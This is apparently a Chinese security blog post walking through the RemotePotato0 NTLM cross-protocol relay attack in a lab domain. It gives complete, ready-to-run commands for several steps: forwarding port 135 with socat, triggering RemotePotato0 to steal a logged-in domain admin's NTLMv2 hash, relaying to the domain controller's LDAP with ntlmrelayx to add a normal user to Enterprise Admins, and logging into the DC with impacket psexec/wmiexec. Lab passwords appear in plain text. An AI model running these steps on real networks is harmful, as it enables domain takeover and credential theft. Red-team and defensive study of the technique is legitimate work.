利用条件
- 具有Domain Administrator特权的用户实际上已登录到主机或通过远程桌面登录
- 攻击者已获得对主机的初始访问权限,或者已通过WinRM或SSH访问 (具备本地管理组权限!!!)
- LDAP和SMB签名未配置
漏洞利用
漏洞环境:
域控:192.168.11.11 DC$ Windows2012 R2
受害机器:192.168.11.16 pc02$ Windows 10
Kali:192.168.11.19
attack\zhang 321.com 普通域用户
attack\admin qwe@123 隶属于企业管理组
一、Hash 窃取
捕获已登录域管用户的hash
1、将本地135端⼝的流量转发到192.168.11.16-受害机的9999端⼝
sudo stty -tostop
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &
2、查看在线用户,确定对应域管账户的会话ID,即s对应参数,同时触发漏洞
query user
.\RemotePotato0.exe -m 2 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3
窃取当前用户hash
二、跨会话激活
给域内用户激活企业管理员身份
1、执行以下命令与目标主机建立PowerShell会话
在未启用签名的环境中,域管理员仍然直接向工作站进行身份验证以执行各种任务,并且标准用户属于远程管理用户组,因此这些组织会受到此技术的影响。
在未加入域的系统中,执行以下命令将与目标主机建立PowerShell会话。(这里一般指使用攻击机kali进行建立会话)
pwsh
Enter-PSSession -ComputerName 192.168.11.16 -Authentication Negotiate -Credential $(get-credential)
或者
evil-winrm -i 192.168.11.16 -u Administrator -p '123456@'
2、将本地135端⼝的流量转发到192.168.11.16-受害机的9999端⼝
运行以下命令,尝试进行终端输出时将首先停止所有后台作业,并且“ socat”实用程序会将传入的流量转发回RPC侦听器。
# 这个很重要,一定要开起来,后台有进程就杀死,然后再启动一次
sudo stty -tostop
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &
3、攻击机上执⾏如下命令,进⾏ntlmrelay的监听,将要被提升权限的⽤户是zhang
在攻击主机上使用一个监听器(HTTP)接收NTLM身份验证并将其中继到DC,这里的域用户”zhang”用于权限提升,192.168.11.11为dc的IP地址
python3 ntlmrelayx.py -t ldap://192.168.11.11 --no-wcf-server --escalate-user zhang
4、在攻击机上远程WinRM连接受害者机器。
使⽤域⽤户zhang登录,该⽤户需要添加在192.168.11.16的本地管理员组中。
在攻击主机的powershell端(Domain Admin用户的控制台下)执行Remote Potato,这里的两个参数分别为用于接收经过身份验证的呼叫的主机(攻击主机的IP地址)的IP地址和RPC端口
# -s 3 因为域管的ID为3
.\RemotePotato0.exe -m 0 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3
# 如果不行,就使用模块2先窃取下域管的hash在获取
.\RemotePotato0.exe -m 2 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 3
5、使用授予企业管理组权限后连接域控制器
之后执行”impacket psexec”模块或任何其他连接(RDP到域控制器等)验证用户是否已获得提升的权限,由于用户对域具有复制权限,因此也可以使用DCSync作为更隐蔽的方法来转储来自域的信息(例如域密码散列),当前权限为system权限:
python3 psexec.py 'attack/zhang:321.com@192.168.11.11'
impacket-psexec attack/zhang:321.com@192.168.11.11
impacket-wmiexec attack/zhang:321.com@192.168.11.11
RemotePotato0使用方法
Attacker machine (192.168.11.19)
Victim machine (192.168.11.16)
Victim Domain Controller (192.168.11.11)
Module 0 – Rpc2Http cross protocol relay server + potato trigger
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.11.16:9999 &
sudo ntlmrelayx.py -t ldap://192.168.11.11 --no-wcf-server --escalate-user zhang
Note: if you are on Windows Server <= 2016 you can avoid the network redirector (socat) because the oxid resolution can be performed locally.
query user
.\RemotePotato0.exe -m 0 -r 192.168.11.19 -x 192.168.11.19 -p 9999 -s 1
Module 1 – Rpc2Http cross protocol relay server
.\RemotePotato0.exe -m 1 -l 9997 -r 192.168.11.19
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
Module 2 – Rpc capture (hash) server + potato trigger
query user
.\RemotePotato0.exe -m 2 -s 1
Module 3 – Rpc capture (hash) server
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0漏洞介绍
NTLM中继是一项众所周知的技术,主要用于安全评估中,以便在网络中的服务器上建立立足点或用于特权提升方案。在没有为LDAP和SMB协议启用签名的网络中,这种攻击是可行的。此外,正在使用其提升的帐户身份验证到服务器和工作站中的域管理员可以为攻击者提供机会,使他们可以通过LSASS或通过使用远程马铃薯技术来转储其凭据,从而对整个域造成损害。 Remote Potato是Antonio Cocomazzi和Andrea Pierini发现的一种技术,它允许攻击者将其权限从域用户提升到Enterprise Admin
,此技术执行跨协议中继以实现NTLM反射攻击,并将提升的NTLM身份验证中继到域控制器以实现权限提升
RemotePotato0可以利用DCOM激活服务,并触发针对当前登录到目标计算机的任何用户的NTLM身份验证。与此同时,该工具还需要在相同设备上已经有特权用户登录了(比如说,域管理员用户)。一旦触发NTLM type1,RemotePotato0将设置一个跨协议中继服务器,该服务器将负责接收特权type1消息,并通过解包RPC协议和HTTP打包身份验证,然后将其中继到第三个资源。在接收端,你可以设置另一个中继节点(如ntlmrelayx)或直接中继到特权资源。除此之外,RemotePotato0还允许抓取和窃取登录到目标设备上的每个用户的NTLMv2哈希。
注:
WinRM访问的方案不是很可行,因为即使WinRM是远程管理的通用协议,默认情况下,它是由管理员和红色团队进行横向移动的域用户也没有权限进行远程身份验证,除非这些权限是由显式设置的管理员。SSH在Windows系统管理中也不是很常见,通常在使用SSH时,它适用于高级用户或需要对主机进行特殊访问的用户。
这句话作者说的是真没毛病呀,这种情况除非管理员脑子抽抽了。
简而言之,远程马铃薯技术执行以下事件序列:
1、最初将调用具有CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54}的COM对象。该特定的CLSID与C:\ Windows \ System32 \ easconsent.dll关联,并根据CLSID的列表模拟了登录到主机的用户。
2、为了在127.0.0.1:9998上设置本地RPC服务器,使用了恶意的OxidResolver(支持COM并存储RPC字符串绑定的服务)。
3、经过身份验证的呼叫在Kali Linux上的端口135上收到,并转发回端口9998上的目标主机。
4、第二个通过身份验证的呼叫在端口9997上本地执行,该呼叫通过HTTP中继回Kali Linux。此调用未签名,并且以域控制器上的LDAP服务为目标。
5、启动身份验证后,将用户添加到Enterprise Admins组。
Kali pwsh 的连接问题
Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : MI_RESULT_FAILED For more information, see the about_Remote_Troubleshooting Help topic.
Enter-PSSession: This parameter set requires WSMan, and no supported WSMan client library was found. WSMan is either not installed or unavailable for this system.
# 这种坑点是,需要将域用户加入管理组
Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : Authorization failed For more information, see the about_Remote_Troubleshooting Help topic.
解决pwsh报错:
winrm e winrm/config/listener
winrm get winrm/config
可以在本地计算机上启用WS-Management协议,并使用命令 winrm quickconfig为远程管理设置默认配置。
命令 winrm quickconfig (或缩写版本 winrm qc) 执行这些操作。
启动 WinRM 服务,并将服务启动类型设置为自动启动。
为在任何 IP 地址上使用 HTTP 或 HTTPS 发送和接收WS-Management协议 消息 的端口配置侦听器。
定义 WinRM 服务的 ICF 异常,并打开 HTTP 和 HTTPS 的端口。
pwsh -Command 'Install-Module -Name PSWSMan'
sudo pwsh -Command 'Install-WSMan'
Tested below on MacOS 11.6:
brew install powershell
brew install openssl
pwsh
Install-Module -Name PowerShellGet
Install-Module -Name PSWSMan
sudo pwsh -Command 'Install-WSMan'
这种坑点是,需要将域用户加入管理组
Enter-PSSession: Connecting to remote server 192.168.11.16 failed with the following error message : Authorization failed For more information, see the about_Remote_Troubleshooting Help topic.
加入本地管理组后,成功访问WinRM,这里作者也提到了,一般管理员不会把域成员加入本地管理组,不过我们可以打个组合拳,提权后,再添加管理组,不过一般有权限后,凭证都可以读出来,基本相当于没用
参考:
http://t.zoukankan.com/wh4am1-p-14221847.html
转载请注明:Adminxe's Blog » RemotePotato0域内权限提升